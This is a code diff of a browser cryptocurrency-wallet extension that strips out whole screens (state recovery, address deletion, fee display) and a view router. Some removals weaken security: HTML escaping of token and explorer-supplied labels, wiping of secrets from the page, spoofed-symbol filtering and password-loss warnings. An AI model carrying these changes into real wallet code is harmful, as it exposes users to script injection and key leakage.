-                    class="text-xs mb-2 break-all min-h-[1rem]"
-                ></div>
-                <div
-                    class="text-xs mb-2 border border-border border-dashed p-2"
-                >
-                    This only stops this wallet from tracking the address.
-                    Nothing is destroyed and no key is deleted. Any funds at the
-                    address stay exactly where they are, and the address remains
-                    yours. Any site permissions granted to this address are
-                    forgotten.
-                </div>
-                <!-- Filled by src/popup/views/deleteAddress.js: the route
-                     back names the wallet's own kind of key material. -->
-                <div
-                    id="delete-address-recovery"
-                    class="text-xs mb-2 border border-border border-dashed p-2"
-                ></div>
-                <div
-                    id="delete-address-balance"
-                    class="text-xs mb-2 min-h-[1.25rem] pointer-events-none"
-                >
-                    &nbsp;
-                </div>
-                <p class="text-xs text-muted mb-3">
-                    A wallet always keeps at least one address. To remove the
-                    last one, delete the whole wallet from Settings instead.
-                </p>
-                <div
-                    id="delete-address-flash"
-                    class="text-xs text-red-500 mb-2 min-h-[1.25rem]"
-                    style="visibility: hidden"
-                ></div>
-                <button
-                    id="btn-delete-address-confirm"
-                    class="border border-border text-red-500 px-2 py-1 hover:bg-fg hover:text-bg cursor-pointer"
-                >
-                    Remove Address
-                </button>
-            </div>
-
-            <!-- ============ SHOW RECOVERY PHRASE ============ -->
-            <div id="view-show-phrase" class="view hidden">
-                <button
-                    id="btn-show-phrase-back"
-                    class="border border-border px-2 py-1 hover:bg-fg hover:text-bg cursor-pointer mb-2"
-                >
-                    &lt; Back
-                </button>
-                <h2 class="font-bold mb-1">Recovery Phrase</h2>
-                <p class="text-xs mb-3" id="show-phrase-wallet-name"></p>
-                <div
-                    class="text-xs mb-3 border border-border border-dashed p-2"
-                >
-                    Anyone who has these words can take every coin and token in
-                    this wallet, from any device, without your password. Never
-                    type them into a website and never show them to anyone.
-                </div>
-                <div
-                    id="show-phrase-flash"
-                    class="text-xs text-red-500 mb-2 min-h-[1.25rem]"
-                    style="visibility: hidden"
-                ></div>
-                <div id="show-phrase-password-section" class="mb-2">
-                    <label class="block mb-1">Password</label>
-                    <input
-                        type="password"
-                        id="show-phrase-password"
-                        class="border border-border p-1 w-full font-mono text-sm bg-bg text-fg"
-                        placeholder="Enter your password to continue"
-                    />
-                    <button
-                        id="btn-show-phrase-reveal"
-                        class="border border-border px-2 py-1 hover:bg-fg hover:text-bg cursor-pointer mt-2"
-                    >
-                        Reveal
-                    </button>
-                </div>
-                <div id="show-phrase-result" class="hidden">
-                    <div
-                        id="show-phrase-value"
-                        class="bg-danger-well rounded p-2 font-mono text-xs break-all cursor-pointer mb-1"
-                        title="Click to copy"
-                    ></div>
-                </div>
             </div>
 
             <!-- ============ SETTINGS: ADD TOKEN ============ -->
@@ -1577,33 +1350,6 @@
                     <div class="text-xs text-muted mb-1">Value</div>
                     <div id="approve-tx-value" class="text-xs font-bold"></div>
                 </div>
-                <div class="mb-3">
-                    <div class="text-xs text-muted mb-1">Network fee (max)</div>
-                    <div
-                        id="approve-tx-fee"
-                        class="text-xs font-bold min-h-[1rem]"
-                    ></div>
-                    <div
-                        id="approve-tx-fee-detail"
-                        class="text-xs text-muted min-h-[1rem]"
-                    ></div>
-                </div>
-                <div class="mb-3 flex justify-between">
-                    <div>
-                        <div class="text-xs text-muted mb-1">Network</div>
-                        <div
-                            id="approve-tx-network"
-                            class="text-xs min-h-[1rem]"
-                        ></div>
-                    </div>
-                    <div>
-                        <div class="text-xs text-muted mb-1">Nonce</div>
-                        <div
-                            id="approve-tx-nonce"
-                            class="text-xs min-h-[1rem]"
-                        ></div>
-                    </div>
-                </div>
                 <div id="approve-tx-data-section" class="mb-3 hidden">
                     <div class="text-xs text-muted mb-1">Raw data</div>
                     <div id="approve-tx-data" class="text-xs break-all"></div>
@@ -1761,75 +1507,6 @@
                     </button>
                 </div>
             </div>
-
-            <!-- ============ STATE RECOVERY ============ -->
-            <!--
-                Shown when the stored profile cannot be read at all. Every
-                other screen renders from that profile, so this one is reached
-                without one and is the only way out of a wallet that would
-                otherwise be a blank popup.
-            -->
-            <div id="view-state-recovery" class="view hidden">
-                <h2 class="font-bold mb-2">Saved Data Cannot Be Read</h2>
-                <p class="text-xs mb-2">
-                    AutistMask stopped rather than guessing. Nothing has been
-                    changed or erased, and nothing can be signed or sent until
-                    this is resolved.
-                </p>
-                <div
-                    id="state-recovery-problem"
-                    class="text-xs font-bold mb-3 break-words"
-                ></div>
-                <p class="text-xs mb-2">
-                    Export the saved data first and keep it. It may hold the
-                    encrypted keys for your wallets, and it is the only copy.
-                </p>
-                <button
-                    id="btn-state-recovery-export"
-                    class="border border-border px-2 py-1 hover:bg-fg hover:text-bg cursor-pointer"
-                >
-                    Export Saved Data
-                </button>
-                <textarea
-                    id="state-recovery-blob"
-                    readonly
-                    class="hidden border border-border p-1 w-full h-32 font-mono text-xs bg-bg text-fg mt-2"
-                ></textarea>
-                <p class="text-xs mt-3 mb-2">
-                    <strong
-                        >Erasing the saved data deletes every wallet stored in
-                        this browser.</strong
-                    >
-                    Nothing on the blockchain changes and no money is moved, but
-                    without the exported copy above, or the recovery phrase for
-                    each wallet written down, everything they hold is gone
-                    forever.
-                </p>
-                <p class="text-xs mb-1">
-                    To confirm, type
-                    <strong>ERASE MY WALLET</strong>
-                    below.
-                </p>
-                <div class="mb-2">
-                    <input
-                        type="text"
-                        id="state-recovery-reset-input"
-                        class="border border-border p-1 w-full font-mono text-sm bg-bg text-fg"
-                        placeholder="Type ERASE MY WALLET"
-                    />
-                </div>
-                <div
-                    id="state-recovery-flash"
-                    class="text-xs text-red-500 mb-2 min-h-[1.25rem]"
-                    style="visibility: hidden"
-                ></div>
-                <button
-                    id="btn-state-recovery-reset"
-                    class="border border-border text-red-500 px-2 py-1 hover:bg-fg hover:text-bg cursor-pointer"
-                >
-                    Erase Saved Data
-                </button>
-            </div>
         </div>
 
         <script src="index.js"></script>

src/popup/index.js

@@ -1,31 +1,20 @@
 // AutistMask popup entry point.
 // Loads state, initializes views, triggers first render.
 
-const {
-    state,
-    saveState,
-    onSaveFailure,
-    loadState,
-} = require("../shared/state");
-const { StateUnusableError } = require("../shared/stateSchema");
-const { log, setRuntimeDebug } = require("../shared/log");
+const { state, saveState, loadState } = require("../shared/state");
+const { setRuntimeDebug } = require("../shared/log");
 const { refreshPrices } = require("../shared/prices");
 const { refreshBalances } = require("../shared/balances");
 const {
     $,
     showView,
     updateDebugBanner,
-    setBackRenderer,
-    showSaveFailureBanner,
+    setRenderMain,
     pushCurrentView,
     goBack,
+    clearViewStack,
 } = require("./views/helpers");
 const { applyTheme } = require("./theme");
-// Renders a view the popup lands on without having navigated to it forward:
-// on restore here, and on Back. Only the views that can be fully re-rendered
-// from persisted state (RESTORABLE_VIEWS, src/shared/restorableViews.js) go
-// through it; anything else falls back to the nearest restorable parent.
-const { renderView, makeBackRenderer } = require("./viewRouter");
 
 const home = require("./views/home");
 const welcome = require("./views/welcome");
@@ -40,9 +29,7 @@ const receive = require("./views/receive");
 const addToken = require("./views/addToken");
 const settings = require("./views/settings");
 const settingsAddToken = require("./views/settingsAddToken");
-const deleteAddress = require("./views/deleteAddress");
 const approval = require("./views/approval");
-const stateRecovery = require("./views/stateRecovery");
 
 function renderWalletList() {
     home.render(ctx);
@@ -61,20 +48,11 @@ async function doRefreshAndRender() {
                 state.rpcUrl,
                 state.blockscoutUrl,
                 state.trackedTokens,
-                state.networkId,
             ),
         ]);
         state.lastBalanceRefresh = Date.now();
         await saveState();
         renderWalletList();
-    } catch (e) {
-        // Every call site fires this and walks away — the boot below, the ten
-        // second interval, and eight views through ctx — so it must never
-        // reject: an unhandled rejection is not a report of anything. The save
-        // inside it reports its own failure through onSaveFailure() (see
-        // src/shared/state.js); what is left here is a failed network round
-        // trip, which the next tick retries.
-        log.errorf("popup: background refresh failed:", e);
     } finally {
         refreshInFlight = false;
     }
@@ -119,28 +97,102 @@ const ctx = {
         pushCurrentView();
         settingsAddToken.show();
     },
-    showDeleteAddress: (walletIdx, addrIdx) => {
-        pushCurrentView();
-        deleteAddress.show(walletIdx, addrIdx);
-    },
 };
 
-// The view modules the router renders through, keyed as it expects them.
-const viewModules = {
-    main: { show: () => fallbackView() },
-    addressDetail,
-    addressToken,
-    receive,
-    settings,
-    settingsAddToken,
-    confirmTx,
-    transactionDetail,
-    txStatus,
-};
+// Views that can be fully re-rendered from persisted state.
+// All others fall back to the nearest restorable parent.
+const RESTORABLE_VIEWS = new Set([
+    "main",
+    "address",
+    "address-token",
+    "receive",
+    "settings",
+    "settings-addtoken",
+    "confirm-tx",
+    "transaction",
+    "success-tx",
+    "error-tx",
+]);
+
+function needsAddress(view) {
+    return (
+        view === "address" ||
+        view === "address-token" ||
+        view === "receive" ||
+        view === "transaction"
+    );
+}
+
+function hasValidAddress() {
+    return (
+        state.selectedWallet !== null &&
+        state.selectedAddress !== null &&
+        state.wallets[state.selectedWallet] &&
+        state.wallets[state.selectedWallet].addresses[state.selectedAddress]
+    );
+}
 
 function restoreView() {
-    if (!renderView(state.currentView, state, viewModules)) {
-        fallbackView();
+    const view = state.currentView;
+    if (!view || !RESTORABLE_VIEWS.has(view)) {
+        return fallbackView();
+    }
+
+    if (needsAddress(view) && !hasValidAddress()) {
+        return fallbackView();
+    }
+
+    if (view === "address-token" && !state.selectedToken) {
+        return fallbackView();
+    }
+
+    switch (view) {
+        case "address":
+            addressDetail.show();
+            break;
+        case "address-token":
+            addressToken.show();
+            break;
+        case "receive":
+            receive.show();
+            break;
+        case "settings":
+            settings.show();
+            break;
+        case "settings-addtoken":
+            settingsAddToken.show();
+            break;
+        case "confirm-tx":
+            if (state.viewData && state.viewData.pendingTx) {
+                confirmTx.restore();
+            } else {
+                fallbackView();
+            }
+            break;
+        case "transaction":
+            if (state.viewData && state.viewData.tx) {
+                transactionDetail.render();
+            } else {
+                fallbackView();
+            }
+            break;
+        case "success-tx":
+            if (state.viewData && state.viewData.hash) {
+                txStatus.renderSuccess();
+            } else {
+                fallbackView();
+            }
+            break;
+        case "error-tx":
+            if (state.viewData && state.viewData.message) {
+                txStatus.renderError();
+            } else {
+                fallbackView();
+            }
+            break;
+        default:
+            fallbackView();
+            break;
     }
 }
 
@@ -150,28 +202,7 @@ function fallbackView() {
 }
 
 async function init() {
-    // First, before anything can save: showView() saves on every navigation
-    // without awaiting, so a save that fails from here on has somewhere to be
-    // reported rather than being swallowed by the save queue
-    // (https://git.eeqj.de/sneak/AutistMask/issues/362). Registered ahead of
-    // the approval-window branch below too, since that window saves as well.
-    onSaveFailure(showSaveFailureBanner);
-    try {
-        await loadState();
-    } catch (e) {
-        // A profile this build cannot read is the one failure that must not
-        // fall through to the rest of init(). It used to: the load "succeeded"
-        // on a record nothing had validated, and the first dereference below
-        // threw, leaving a popup with no view, no message and no control on
-        // it, and no way out of the wallet from inside the product
-        // (https://git.eeqj.de/sneak/AutistMask/issues/311). Now the load
-        // refuses, and this is the screen that says so.
-        if (e instanceof StateUnusableError) {
-            stateRecovery.show(e);
-            return;
-        }
-        throw e;
-    }
+    await loadState();
     applyTheme(state.theme);
 
     // Sync runtime debug flag from persisted state before first render
@@ -198,12 +229,6 @@ async function init() {
     const params = new URLSearchParams(window.location.search);
     const approvalId = params.get("approval");
     if (approvalId) {
-        // Deliberately not awaited, and deliberately not .catch()ed. show()
-        // is async, so a throw past its first await surfaces as an unhandled
-        // rejection rather than an uncaught error — measured as still failing
-        // the run on both harnesses (Playwright `pageerror`, and the Firefox
-        // driver's console-service drain), so nothing is lost by leaving it
-        // on that path.
         approval.show(approvalId);
         showView("approve-site");
         return;
@@ -222,7 +247,7 @@ async function init() {
         settings.show();
     });
 
-    setBackRenderer(makeBackRenderer(state, viewModules));
+    setRenderMain(renderWalletList);
 
     welcome.init(ctx);
     addWallet.init(ctx);
@@ -236,7 +261,6 @@ async function init() {
     addToken.init(ctx);
     settings.init(ctx);
     settingsAddToken.init(ctx);
-    deleteAddress.init(ctx);
 
     if (!state.hasWallet) {
         showView("welcome");

src/popup/viewRouter.js

@@ -1,242 +0,0 @@
-// Rendering a view the popup lands on without having navigated to it
-// forward: on restore, and on Back. In both cases the view may never have
-// been rendered in this page load — a reopened popup renders only the
-// wallet list and the view it restores onto, so every other view is still
-// the blank static template from index.html — so unhiding it is not enough.
-//
-// Forward navigation renders as it goes and must NOT come through here:
-// rendering a second time would re-fetch and clobber whatever the view has
-// in flight.
-//
-// The view modules are injected and nothing here touches the DOM, so the
-// dispatch and its data guards can be tested directly; src/popup/index.js
-// cannot be required outside a browser.
-
-const { RESTORABLE_VIEWS } = require("../shared/restorableViews");
-
-// The views this page load has rendered.
-//
-// The Back path cannot otherwise tell its two cases apart. A view the popup
-// never rendered is still the blank template from index.html and has to be
-// rendered; a view already on the page must NOT be rendered again, because
-// a second render re-fetches and overwrites whatever the user has typed
-// into it and not yet saved.
-//
-// Registration is showView() in views/helpers.js, which is the last thing
-// every render path runs — restoreView()'s, the Back path's, and every
-// forward show(). That is the point of putting it there rather than in the
-// individual views: a view added later registers itself with no one having
-// to remember it, so this cannot decay.
-//
-// Module scope is page-load scope: the popup loads this module once per
-// page load, and a reopened popup gets a fresh, empty set — which is
-// exactly the state that makes the Back path render.
-const renderedViews = new Set();
-
-function markViewRendered(view) {
-    if (view) renderedViews.add(view);
-}
-
-// Begin a fresh page-load scope. The popup gets one by being loaded; the
-// unit tests, which simulate several page loads against one module
-// instance, ask for one.
-function resetRenderedViews() {
-    renderedViews.clear();
-}
-
-// Home is the exception: Back re-renders it every time, which is what the
-// popup did before this router existed (index.js registered
-// renderWalletList() as setRenderMain(), and goBack() called it on every
-// Back onto "main"). It must stay that way — the wallet list has to reflect
-// what changed while the user was away from it, such as a wallet renamed or
-// an address removed in Settings — and Home holds no unsaved input to lose.
-const ALWAYS_RENDER_ON_BACK = new Set(["main"]);
-
-// Views that render an address the user picked and cannot be rendered
-// without one. "confirm-tx" is here because its Sign button dereferences
-// `state.wallets[state.selectedWallet].encryptedSecret`
-// (src/popup/views/confirmTx.js) behind no guard of its own — a screen that
-// can only throw when the user presses its one button must not be restored
-// onto.
-const ADDRESS_VIEWS = new Set([
-    "address",
-    "address-token",
-    "receive",
-    "transaction",
-    "confirm-tx",
-]);
-
-function needsAddress(view) {
-    return ADDRESS_VIEWS.has(view);
-}
-
-function hasValidAddress(state) {
-    return Boolean(
-        state.selectedWallet !== null &&
-        state.selectedAddress !== null &&
-        state.wallets[state.selectedWallet] &&
-        state.wallets[state.selectedWallet].addresses[state.selectedAddress],
-    );
-}
-
-// The stored viewData ENTRIES each branch below dereferences, as opposed to
-// the one field it gates on.
-//
-// A gate on a single truthy field checks the container, not the entries, and
-// the dereference is one level below it: a stored `{"currentView":
-// "success-tx","viewData":{"hash":"0x1"}}` passes `data.hash` and then throws
-// on `address.toLowerCase()` inside addressTitle() (src/popup/views/
-// helpers.js), out of restoreView(), which src/popup/index.js does not guard —
-// so the rest of popup init never runs. txStatus.restoreWait() has checked its
-// own branch's fields since it was written; these are the other four.
-//
-// Only what actually throws is required. Fields that are compared,
-// concatenated or escaped coerce (escapeHtml() and displaySymbol() both
-// String() their argument), so requiring them would refuse a restorable screen
-// over a cosmetic value.
-function isText(value) {
-    return typeof value === "string";
-}
-
-function isRecord(value) {
-    return typeof value === "object" && value !== null && !Array.isArray(value);
-}
-
-// An address handed to renderAddressHtml()/addressTitle(): both reach
-// `address.slice()` and `address.toLowerCase()` with no guard.
-function isAddressText(value) {
-    return isText(value);
-}
-
-// Decoded calldata, as decodedDetailsHtml() (src/popup/views/txStatus.js)
-// walks it: `for (const d of decoded.details)` needs an iterable, and each
-// entry's `address` reaches toAddressHtml(). Absent or falsy is the ordinary
-// case and short-circuits before either.
-function isRenderableDecoded(value) {
-    if (!value) return true;
-    if (!isRecord(value)) return false;
-    if (!value.details) return true;
-    if (!Array.isArray(value.details)) return false;
-    return value.details.every(
-        (entry) =>
-            isRecord(entry) && (!entry.address || isAddressText(entry.address)),
-    );
-}
-
-// The pending transaction confirmTx.show() renders: `token` reaches
-// renderAddressHtml() when it is not "ETH", and `from`/`to` reach
-// addressTitle(), makeBlockie() and getLocalWarnings().
-function isRenderablePendingTx(value) {
-    return (
-        isRecord(value) &&
-        isText(value.token) &&
-        isAddressText(value.from) &&
-        isAddressText(value.to)
-    );
-}
-
-// The stored transaction transactionDetail.render() shows. contractAddress is
-// optional on an ETH transfer, and reaches addressDotHtml() when it is there.
-function isRenderableTx(value) {
-    return (
-        isRecord(value) &&
-        isAddressText(value.from) &&
-        isAddressText(value.to) &&
-        (!value.contractAddress || isAddressText(value.contractAddress))
-    );
-}
-
-// Render `view` from persisted state. Each view module shows itself, so a
-// true return means the view is both rendered and on screen.
-//
-// Returns false when the view is not one the popup renders from state, or
-// when the state it would render is gone — a token no longer selected, a
-// transaction no longer persisted. The caller falls back rather than
-// putting an empty template on screen.
-function renderView(view, state, views) {
-    if (!view || !RESTORABLE_VIEWS.has(view)) return false;
-    if (needsAddress(view) && !hasValidAddress(state)) return false;
-    if (view === "address-token" && !state.selectedToken) return false;
-
-    const data = state.viewData || {};
-    switch (view) {
-        case "main":
-            views.main.show();
-            return true;
-        case "address":
-            views.addressDetail.show();
-            return true;
-        case "address-token":
-            views.addressToken.show();
-            return true;
-        case "receive":
-            views.receive.show();
-            return true;
-        case "settings":
-            views.settings.show();
-            return true;
-        case "settings-addtoken":
-            views.settingsAddToken.show();
-            return true;
-        case "confirm-tx":
-            if (!isRenderablePendingTx(data.pendingTx)) return false;
-            views.confirmTx.restore();
-            return true;
-        case "transaction":
-            if (!isRenderableTx(data.tx)) return false;
-            views.transactionDetail.render();
-            return true;
-        case "wait-tx":
-            // Resumes the receipt poll from the persisted broadcast time,
-            // and answers false when there is nothing resumable left.
-            return Boolean(views.txStatus.restoreWait());
-        case "success-tx":
-            if (!data.hash) return false;
-            if (!isAddressText(data.to)) return false;
-            if (!isRenderableDecoded(data.decoded)) return false;
-            views.txStatus.renderSuccess();
-            return true;
-        case "error-tx":
-            if (!data.message) return false;
-            if (!isAddressText(data.to)) return false;
-            views.txStatus.renderError();
-            return true;
-        default:
-            return false;
-    }
-}
-
-// The Back-path renderer, registered with setBackRenderer() in
-// views/helpers.js.
-//
-// Returns false — leaving goBack() to unhide the view, as it always did —
-// in the two cases where the view is known to be on the page already:
-//
-//   - It is not one the popup renders from persisted state. The restored
-//     stack is filtered against RESTORABLE_VIEWS, so such a view can only
-//     be on the stack from this page load, where forward navigation
-//     rendered it on the way in.
-//   - This page load has rendered it. Re-rendering would re-fetch and
-//     clobber what it holds; Home is rendered anyway, see above.
-//
-// What is left is the case the router exists for: a view on the stack that
-// this page load has never rendered, whose template is still blank.
-function makeBackRenderer(state, views) {
-    return function renderBack(view) {
-        if (!RESTORABLE_VIEWS.has(view)) return false;
-        if (renderedViews.has(view) && !ALWAYS_RENDER_ON_BACK.has(view)) {
-            return false;
-        }
-        if (!renderView(view, state, views)) {
-            views.main.show();
-        }
-        return true;
-    };
-}
-
-module.exports = {
-    renderView,
-    makeBackRenderer,
-    markViewRendered,
-    resetRenderedViews,
-};

src/popup/views/addToken.js

@@ -1,4 +1,4 @@
-const { $, showView, showFlash, escapeHtml, goBack } = require("./helpers");
+const { $, showView, showFlash, goBack } = require("./helpers");
 const { getTopTokens } = require("../../shared/tokenList");
 const { state, saveState } = require("../../shared/state");
 const { lookupTokenInfo } = require("../../shared/balances");
@@ -13,7 +13,7 @@ function show() {
     list.innerHTML = getTopTokens(25)
         .map(
             (t) =>
-                `<button class="common-token border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer text-xs" data-address="${escapeHtml(t.address)}" data-symbol="${escapeHtml(t.symbol)}" data-decimals="${escapeHtml(t.decimals)}">${escapeHtml(t.symbol)}</button>`,
+                `<button class="common-token border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer text-xs" data-address="${t.address}" data-symbol="${t.symbol}" data-decimals="${t.decimals}">${t.symbol}</button>`,
         )
         .join("");
     list.querySelectorAll(".common-token").forEach((btn) => {
@@ -49,11 +49,7 @@ function init(ctx) {
         infoEl.style.visibility = "visible";
         log.debugf("Looking up token contract", contractAddr);
         try {
-            const info = await lookupTokenInfo(
-                contractAddr,
-                state.rpcUrl,
-                state.networkId,
-            );
+            const info = await lookupTokenInfo(contractAddr, state.rpcUrl);
             log.infof("Adding token", info.symbol, contractAddr);
             state.trackedTokens.push({
                 address: contractAddr,

src/popup/views/addWallet.js

@@ -1,11 +1,4 @@
-const {
-    $,
-    showView,
-    showFlash,
-    goBack,
-    clearViewStack,
-    onViewLeave,
-} = require("./helpers");
+const { $, showView, showFlash, goBack, clearViewStack } = require("./helpers");
 const {
     generateMnemonic,
     hdWalletFromMnemonic,
@@ -13,7 +6,6 @@ const {
     addressFromPrivateKey,
     hdWalletFromXprv,
     isValidXprv,
-    isMasterExtendedKey,
 } = require("../../shared/wallet");
 const { encryptWithPassword } = require("../../shared/vault");
 const { state, saveState } = require("../../shared/state");
@@ -42,24 +34,12 @@ let currentMode = "mnemonic";
 
 const MODES = ["mnemonic", "privkey", "xprv"];
 
-// Each hint names what this import mode's own backup is, because a key
-// wallet and an xprv wallet have no recovery phrase to point the user at.
-// All three say the same thing about the password: it is gone for good if
-// it is forgotten. That sentence is the only warning the user gets before
-// the wallet exists, and without it the lost-password route in
-// views/deleteWallet.js is the first they hear of it.
-//
-// Keep the three within a couple of characters of each other in length.
-// The hint sits directly above the password fields and the tabs swap it in
-// place, so a wording that wraps to a different number of lines would move
-// those fields under the pointer; the reserved height on
-// #add-wallet-password-hint is the other half of that guarantee.
 const PASSWORD_HINTS = {
     mnemonic:
-        "This password encrypts your recovery phrase on this device. You will need it to send funds. It cannot be recovered or reset, so keep your recovery phrase written down: it is the only backup of this wallet.",
+        "This password encrypts your recovery phrase on this device. You will need it to send funds.",
     privkey:
-        "This password encrypts your private key on this device. You will need it to send funds. It cannot be recovered or reset, so keep your private key saved somewhere safe: it is the only backup of this wallet.",
-    xprv: "This password encrypts your key on this device. You will need it to send funds. It cannot be recovered or reset, so keep your extended private key saved somewhere safe: it is the only backup of this wallet.",
+        "This password encrypts your private key on this device. You will need it to send funds.",
+    xprv: "This password encrypts your key on this device. You will need it to send funds.",
 };
 
 function switchMode(mode) {
@@ -85,23 +65,13 @@ function switchMode(mode) {
     $("add-wallet-password-hint").textContent = PASSWORD_HINTS[mode];
 }
 
-// Wipe the secret material this screen holds in the DOM: a generated or
-// pasted recovery phrase, an imported private key or extended private key,
-// and the password that would encrypt them. Registered as the view-leave
-// handler as well as run on entry, so none of it survives in the hidden
-// view after the user navigates away by any route, including the Settings
-// gear and the import itself.
-function clear() {
+function show() {
     $("wallet-mnemonic").value = "";
     $("import-private-key").value = "";
     $("import-xprv-key").value = "";
     $("add-wallet-password").value = "";
     $("add-wallet-password-confirm").value = "";
     $("add-wallet-phrase-warning").style.visibility = "hidden";
-}
-
-function show() {
-    clear();
     switchMode("mnemonic");
     showView("add-wallet");
 }
@@ -179,7 +149,7 @@ async function importMnemonic(ctx) {
 
     // Scan for used HD addresses beyond index 0.
     showFlash("Scanning for addresses...", 30000);
-    const scan = await scanForAddresses(xpub, state.rpcUrl, state.networkId);
+    const scan = await scanForAddresses(xpub, state.rpcUrl);
     if (scan.addresses.length > 1) {
         wallet.addresses = scan.addresses.map((a) => ({
             address: a.address,
@@ -206,7 +176,7 @@ async function importPrivateKey(ctx) {
     let addr;
     try {
         addr = addressFromPrivateKey(key);
-    } catch {
+    } catch (e) {
         showFlash("Invalid private key.");
         return;
     }
@@ -243,25 +213,14 @@ async function importXprvKey(ctx) {
         return;
     }
     if (!isValidXprv(xprv)) {
-        showFlash(
-            "That extended private key is not valid. Please check it and try again.",
-        );
-        return;
-    }
-    if (!isMasterExtendedKey(xprv)) {
-        showFlash(
-            "That is an account-level or child key, which cannot be imported. " +
-                "Please paste the master extended private key for the wallet.",
-        );
+        showFlash("Invalid extended private key.");
         return;
     }
     let result;
     try {
         result = hdWalletFromXprv(xprv);
-    } catch {
-        showFlash(
-            "That extended private key is not valid. Please check it and try again.",
-        );
+    } catch (e) {
+        showFlash("Invalid extended private key.");
         return;
     }
     const { xpub, firstAddress } = result;
@@ -298,7 +257,7 @@ async function importXprvKey(ctx) {
 
     // Scan for used HD addresses beyond index 0.
     showFlash("Scanning for addresses...", 30000);
-    const scan = await scanForAddresses(xpub, state.rpcUrl, state.networkId);
+    const scan = await scanForAddresses(xpub, state.rpcUrl);
     if (scan.addresses.length > 1) {
         wallet.addresses = scan.addresses.map((a) => ({
             address: a.address,
@@ -317,8 +276,6 @@ async function importXprvKey(ctx) {
 }
 
 function init(ctx) {
-    onViewLeave("add-wallet", clear);
-
     // Tab click handlers
     $("tab-mnemonic").addEventListener("click", () => switchMode("mnemonic"));
     $("tab-privkey").addEventListener("click", () => switchMode("privkey"));

src/popup/views/addressDetail.js

@@ -2,19 +2,19 @@ const {
     $,
     showView,
     showFlash,
+    flashCopyFeedback,
     balanceLinesForAddress,
     addressDotHtml,
     addressTitle,
     escapeHtml,
-    displaySymbol,
     truncateMiddle,
     renderAddressHtml,
     attachCopyHandlers,
     goBack,
     pushCurrentView,
 } = require("./helpers");
-const { state, saveState } = require("../../shared/state");
-const { formatAddressTotal, getAddressValue } = require("../../shared/prices");
+const { state, currentAddress, saveState } = require("../../shared/state");
+const { formatUsd, getAddressValueUsd } = require("../../shared/prices");
 const {
     fetchRecentTransactions,
     filterTransactions,
@@ -27,17 +27,8 @@ const {
 } = require("./send");
 const { log } = require("../../shared/log");
 const makeBlockie = require("ethereum-blockies-base64");
-const exportPrivkey = require("./exportPrivkey");
-const { walletDefect } = require("../../shared/walletDefects");
-
-// The defect of the wallet the selected address belongs to, or null. Both the
-// send and the private-key export path check it before asking for a password,
-// so a wallet that cannot derive its keys says so instead of failing after the
-// user has typed one in.
-function selectedWalletDefect() {
-    if (state.selectedWallet === null) return null;
-    return walletDefect(state.wallets[state.selectedWallet]);
-}
+const { decryptWithPassword } = require("../../shared/vault");
+const { getSignerForAddress } = require("../../shared/wallet");
 
 let ctx;
 
@@ -45,6 +36,7 @@ function show() {
     state.selectedToken = null;
     const wallet = state.wallets[state.selectedWallet];
     const addr = wallet.addresses[state.selectedAddress];
+    const wi = state.selectedWallet;
     const ai = state.selectedAddress;
     $("address-title").textContent =
         wallet.name + " \u2014 Address " + (ai + 1);
@@ -64,7 +56,7 @@ function show() {
     });
     $("address-line").dataset.full = addr.address;
     attachCopyHandlers($("address-line"));
-    const usdTotal = formatAddressTotal(getAddressValue(addr));
+    const usdTotal = formatUsd(getAddressValueUsd(addr));
     $("address-usd-total").innerHTML = usdTotal || " ";
     const ensEl = $("address-ens");
     // ENS is now shown inside renderAddressHtml, hide the separate element
@@ -156,7 +148,6 @@ async function loadTransactions(address) {
             state.blockscoutUrl,
         );
         const result = filterTransactions(rawTxs, {
-            hideSpoofedSymbols: state.hideSpoofedSymbols,
             hideLowHolderTokens: state.hideLowHolderTokens,
             hideFraudContracts: state.hideFraudContracts,
             hideDustTransactions: state.hideDustTransactions,
@@ -188,7 +179,6 @@ async function loadTransactions(address) {
                 ensNameMap = await resolveEnsNames(
                     counterparties,
                     state.rpcUrl,
-                    state.networkId,
                 );
             } catch {
                 ensNameMap = new Map();
@@ -223,12 +213,10 @@ function renderTransactions(txs) {
                   : tx.from;
         const ensName = ensNameMap.get(counterparty) || null;
         const title = addressTitle(counterparty, state.wallets);
-        // The explorer's method name for a contract call, title-cased.
-        const dirLabel = escapeHtml(tx.directionLabel);
-        const sym = displaySymbol(tx.symbol);
+        const dirLabel = tx.directionLabel;
         const amountStr = tx.value
-            ? escapeHtml(tx.value + " " + sym)
-            : escapeHtml(sym);
+            ? escapeHtml(tx.value + " " + tx.symbol)
+            : escapeHtml(tx.symbol);
         const maxAddr = Math.max(32, 36 - Math.max(0, amountStr.length - 10));
         const displayAddr =
             title || ensName || truncateMiddle(counterparty, maxAddr);
@@ -249,6 +237,7 @@ function renderTransactions(txs) {
         row.addEventListener("click", () => {
             const idx = parseInt(row.dataset.tx, 10);
             const tx = loadedTxs[idx];
+            const counterparty = tx.direction === "sent" ? tx.to : tx.from;
             tx.fromEns = ensNameMap.get(tx.from) || null;
             tx.toEns = ensNameMap.get(tx.to) || null;
             ctx.showTransactionDetail(tx);
@@ -264,11 +253,6 @@ function init(_ctx) {
     });
 
     $("btn-send").addEventListener("click", () => {
-        const defect = selectedWalletDefect();
-        if (defect) {
-            showFlash(defect.shortMessage);
-            return;
-        }
         const addr =
             state.wallets[state.selectedWallet].addresses[
                 state.selectedAddress
@@ -313,20 +297,81 @@ function init(_ctx) {
     $("btn-export-privkey").addEventListener("click", () => {
         moreDropdown.classList.add("hidden");
         moreBtn.classList.remove("bg-fg", "text-bg");
-        // There is no private key to export for an address this wallet
-        // cannot derive. Without this the export screen would take a
-        // password and then report it as wrong.
-        const defect = selectedWalletDefect();
-        if (defect) {
-            showFlash(defect.shortMessage);
-            return;
-        }
-        // No pushCurrentView() here: exportPrivkey.show() can return
-        // without navigating, so it does its own push.
-        exportPrivkey.show(state.selectedWallet, state.selectedAddress);
+        pushCurrentView();
+        const wallet = state.wallets[state.selectedWallet];
+        const addr = wallet.addresses[state.selectedAddress];
+        const blockieEl = $("export-privkey-jazzicon");
+        blockieEl.innerHTML = "";
+        const bImg = document.createElement("img");
+        bImg.src = makeBlockie(addr.address);
+        bImg.width = 48;
+        bImg.height = 48;
+        bImg.style.imageRendering = "pixelated";
+        bImg.style.borderRadius = "50%";
+        blockieEl.appendChild(bImg);
+        $("export-privkey-title").textContent =
+            wallet.name + " \u2014 Address " + (state.selectedAddress + 1);
+        const exportAddrContainer = $("export-privkey-dot").parentElement;
+        exportAddrContainer.innerHTML = renderAddressHtml(addr.address);
